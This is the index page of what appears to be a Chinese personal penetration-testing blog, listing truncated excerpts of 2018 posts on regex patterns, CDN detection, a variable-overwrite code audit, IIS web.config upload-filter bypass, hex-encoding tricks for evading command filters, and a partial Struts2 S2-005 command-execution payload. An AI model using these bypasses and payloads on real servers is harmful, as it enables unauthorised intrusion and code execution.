正则表达式大全(汇总)

时间:2018-8-9   作者:webbaozi   分类: 个人笔记   热度:251°    
时间:2018-8-9   分类: 个人笔记    热度:251  
一、校验数字的表达式 数字:^[0-9]*$ n位的数字:^\d{n}$ 至少n位的数字:^\d{n,}$ m-n位的数字:^\d{m,n}$ 零和非零开头的数字:^(0|[1-9][0-9]*)$ 非零开头的最多带两位小数的数字:^([1-9][0-9]*)+(.[0-9]{1,2})?$ 带1-2位小数的正数或负数:^(\-)?\d+(\.\d{1,2})?$ 正数、负数、和小数:^(\-|\+)?\d+(\.\d+)?$ 有两位小数的正实数:^[0-9]+(.[0-9]{2})?$ 有1~3位小数的正实数:^[0-9]+...

阅读全文>>

使用python判断网站cdn

时间:2018-7-21   作者:webbaozi   分类: 渗透测试   热度:349°    
时间:2018-7-21   分类: 渗透测试    热度:349  
1.前言每次遇见网站都要去判断是否存在cdn,获取真实ip,这里以自己没事搞得一个检测CDN的来说一下 2.判断方式2.1 安装模块及部分字典pip install dnspython字典: 2.2 NS判断def get_ns(url): print url try: NS = dns.resolver.query(url, ‘NS’) dlist = list(ns_list[‘ns’].keys()) ns_list_jieguo=[] print NS.response.answer[0] for k...

阅读全文>>

代码审计-变量覆盖学习-EC电商系统

时间:2018-6-13   作者:webbaozi   分类: 代码审计   热度:422°    
时间:2018-6-13   分类: 代码审计    热度:422  
在文件inc\function\global.php文件中if (!empty($_GET)){ foreach($_GET AS $key => $value) $$key = addslashes_yec($value); }if (!empty($_POST)){ foreach($_POST AS $key => $value) $$key = addslashes_yec($value); } $$key导致变量覆盖,举例:$a=1;比如:输入a=123时就会变成$a=123在inc\module\brand.php文件中if($id){ $condition .=...

阅读全文>>

web.config中使asdx解析

时间:2018-6-13   作者:webbaozi   分类: 小技巧   热度:444°    
时间:2018-6-13   分类: 小技巧    热度:444  
在渗透测试中有时会遇见可以上传任意文件,但是过滤了asp,aspx等后缀。这里使用上传web.config文件来控制解析后缀,代码如下:<?xml version="1.0" encoding="utf-8"?> <configuration> <system.webServer> <directoryBrowse enabled="true" /> <handlers> <add name="asdx" path="*.asdx" verb="GET,H...

阅读全文>>

热门 命令小技巧

时间:2018-5-19   作者:webbaozi   分类: 小技巧   热度:568°    
时间:2018-5-19   分类: 小技巧    热度:568  
十六进制转字符 利用场景:命令不能出现特殊字符 windows: echo 48 65 6C 6C 6F 2C 57 6F 72 6C 64 21 >hex.txt 生成 hex.txt,机器码对应的内容是 Hallo World! certutil -decodehex hex.txt bin.txt linux: echo -e "\x61">1.txt

阅读全文>>

热门 记一次struts2-005

时间:2018-3-26   作者:webbaozi   分类: 渗透测试   热度:919°    
时间:2018-3-26   分类: 渗透测试    热度:919  
如图: 执行id参数可以成功执行,但是当命令中含有空格时执行命令就会失败。 然后调试发现把命令中的空格换成\40即可成功执行命令 这里附上s2_005的命令:('\43_memberAccess.allowStaticMethodAccess')(a)=true&amp;(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&amp;('\43c')(('\43_memberAccess.excludeProperties\[email protected]

阅读全文>>

热门 centos 7安装wine 32

时间:2018-2-1   作者:webbaozi   分类: 实用工具   热度:1166°    
时间:2018-2-1   分类: 实用工具    热度:1166  
这里的下载的地址打不开需要更换一个(我安装的是1.7.40) 1. wget http://citylan.dl.sourceforge.net/project/wine/Source/wine-1.7.33.tar.bz2 2. tar -xf wine-1.7.33.tar.bz2 3. yum -y groupinstall 'Development Tools' 4. yum -y install libX11-devel fre...

阅读全文>>

返回顶部    首页    手机版本   
版权所有:baozi|学与用    站长: webbaozi  蜀ICP备16032848号-1